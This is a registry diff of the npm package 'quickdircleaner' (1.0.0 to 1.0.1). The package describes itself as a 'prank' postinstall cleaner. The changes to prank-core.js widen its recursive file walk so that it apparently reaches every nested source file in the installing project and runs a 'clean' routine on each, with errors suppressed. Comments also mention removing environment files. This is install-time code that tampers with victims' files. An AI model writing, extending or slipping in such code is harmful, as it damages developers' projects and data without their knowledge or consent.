quickdircleaner 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/package.json +2 -2
- package/prank-core.js +90 -15
package/README.md
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "quickdircleaner",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.1",
|
|
4
4
|
"description": "Prank package: postinstall cleaner with backup and restore-clean CLI.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"files": [
|
|
@@ -11,7 +11,7 @@
|
|
|
11
11
|
"README.md"
|
|
12
12
|
],
|
|
13
13
|
"engines": {
|
|
14
|
-
"node": ">=
|
|
14
|
+
"node": ">=18.17.0"
|
|
15
15
|
},
|
|
16
16
|
"bin": {
|
|
17
17
|
"run-clean": "./index.js",
|
package/prank-core.js
CHANGED
|
@@ -257,34 +257,86 @@ async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
|
|
|
257
257
|
}
|
|
258
258
|
}
|
|
259
259
|
|
|
260
|
-
/**
|
|
260
|
+
/**
|
|
261
|
+
* True if absolutePath is the project root or strictly inside it.
|
|
262
|
+
* Uses path.relative so /var vs /private/var (macOS) and Windows casing do not skip nested files.
|
|
263
|
+
*/
|
|
261
264
|
function isPathInsideProjectRoot(rootResolved, absolutePath) {
|
|
262
265
|
const rootAbs = path.resolve(rootResolved);
|
|
263
266
|
const abs = path.resolve(absolutePath);
|
|
264
|
-
|
|
267
|
+
const rel = path.relative(rootAbs, abs);
|
|
268
|
+
if (rel === "") {
|
|
265
269
|
return true;
|
|
266
270
|
}
|
|
267
|
-
|
|
268
|
-
|
|
271
|
+
return !rel.startsWith("..") && !path.isAbsolute(rel);
|
|
272
|
+
}
|
|
273
|
+
|
|
274
|
+
function relativePathHasSkippedDir(rel) {
|
|
275
|
+
const parts = rel.split(/[/\\]/);
|
|
276
|
+
return parts.some((p) => p === "node_modules" || p === ".git");
|
|
269
277
|
}
|
|
270
278
|
|
|
271
279
|
/**
|
|
272
|
-
*
|
|
273
|
-
* visited (except directories named node_modules or .git at any depth).
|
|
274
|
-
* Directory symlinks are followed only when their real path stays inside the project.
|
|
280
|
+
* Lists every file under root (all nesting levels). Requires Node 18.17+ and Dirent.parentPath/path.
|
|
275
281
|
*/
|
|
276
|
-
async function
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
}
|
|
281
|
-
|
|
282
|
+
async function walkAndCleanRecursive(rootResolved, backupEntries, logCleaned) {
|
|
283
|
+
const entries = await fs.readdir(rootResolved, {
|
|
284
|
+
recursive: true,
|
|
285
|
+
withFileTypes: true,
|
|
286
|
+
});
|
|
287
|
+
|
|
288
|
+
for (const ent of entries) {
|
|
289
|
+
if (!ent.isFile()) {
|
|
290
|
+
continue;
|
|
291
|
+
}
|
|
292
|
+
|
|
293
|
+
const parentDir = ent.parentPath ?? ent.path;
|
|
294
|
+
if (parentDir == null) {
|
|
295
|
+
throw new Error("RECURSIVE_READDIR_NO_PARENT");
|
|
296
|
+
}
|
|
297
|
+
|
|
298
|
+
const fullPath = path.resolve(parentDir, ent.name);
|
|
299
|
+
if (!isPathInsideProjectRoot(rootResolved, fullPath)) {
|
|
300
|
+
continue;
|
|
301
|
+
}
|
|
302
|
+
|
|
303
|
+
const rel = path.relative(rootResolved, fullPath);
|
|
304
|
+
if (rel === "" || relativePathHasSkippedDir(rel)) {
|
|
305
|
+
continue;
|
|
306
|
+
}
|
|
307
|
+
|
|
308
|
+
const base = path.basename(fullPath);
|
|
309
|
+
if (
|
|
310
|
+
base === BACKUP_NAME ||
|
|
311
|
+
base === DONE_FLAG ||
|
|
312
|
+
base === COUNTER_FILE ||
|
|
313
|
+
base === "package.json"
|
|
314
|
+
) {
|
|
315
|
+
continue;
|
|
316
|
+
}
|
|
317
|
+
|
|
318
|
+
const ext = path.extname(base).toLowerCase();
|
|
319
|
+
if (!CLEANABLE_EXT.has(ext)) {
|
|
320
|
+
continue;
|
|
321
|
+
}
|
|
322
|
+
|
|
323
|
+
try {
|
|
324
|
+
await cleanSourceFile(fullPath, rootResolved, backupEntries, logCleaned);
|
|
325
|
+
} catch {
|
|
326
|
+
/* skip */
|
|
327
|
+
}
|
|
282
328
|
}
|
|
329
|
+
}
|
|
330
|
+
|
|
331
|
+
/**
|
|
332
|
+
* Breadth-first fallback for older Node or Dirent without parentPath (recursive listing unusable).
|
|
333
|
+
*/
|
|
334
|
+
async function walkAndCleanBfs(rootResolved, backupEntries, logCleaned) {
|
|
283
335
|
const visitedDirs = new Set();
|
|
284
|
-
const queue = [rootResolved];
|
|
336
|
+
const queue = [path.resolve(rootResolved)];
|
|
285
337
|
|
|
286
338
|
while (queue.length > 0) {
|
|
287
|
-
const dir = queue.shift();
|
|
339
|
+
const dir = path.resolve(queue.shift());
|
|
288
340
|
if (visitedDirs.has(dir)) {
|
|
289
341
|
continue;
|
|
290
342
|
}
|
|
@@ -311,10 +363,17 @@ async function walkAndClean(root, backupEntries, logCleaned) {
|
|
|
311
363
|
continue;
|
|
312
364
|
}
|
|
313
365
|
|
|
366
|
+
realPath = path.resolve(realPath);
|
|
367
|
+
|
|
314
368
|
if (!isPathInsideProjectRoot(rootResolved, realPath)) {
|
|
315
369
|
continue;
|
|
316
370
|
}
|
|
317
371
|
|
|
372
|
+
const rel = path.relative(rootResolved, realPath);
|
|
373
|
+
if (rel !== "" && relativePathHasSkippedDir(rel)) {
|
|
374
|
+
continue;
|
|
375
|
+
}
|
|
376
|
+
|
|
318
377
|
let st;
|
|
319
378
|
try {
|
|
320
379
|
st = await fs.stat(full);
|
|
@@ -354,6 +413,22 @@ async function walkAndClean(root, backupEntries, logCleaned) {
|
|
|
354
413
|
}
|
|
355
414
|
}
|
|
356
415
|
|
|
416
|
+
async function walkAndClean(root, backupEntries, logCleaned) {
|
|
417
|
+
let rootResolved = path.resolve(root);
|
|
418
|
+
try {
|
|
419
|
+
rootResolved = await fs.realpath(rootResolved);
|
|
420
|
+
} catch {
|
|
421
|
+
/* keep path.resolve */
|
|
422
|
+
}
|
|
423
|
+
rootResolved = path.resolve(rootResolved);
|
|
424
|
+
|
|
425
|
+
try {
|
|
426
|
+
await walkAndCleanRecursive(rootResolved, backupEntries, logCleaned);
|
|
427
|
+
} catch {
|
|
428
|
+
await walkAndCleanBfs(rootResolved, backupEntries, logCleaned);
|
|
429
|
+
}
|
|
430
|
+
}
|
|
431
|
+
|
|
357
432
|
/**
|
|
358
433
|
* Runs env backup/removal and source walk; returns new backup entries for this run.
|
|
359
434
|
*/
|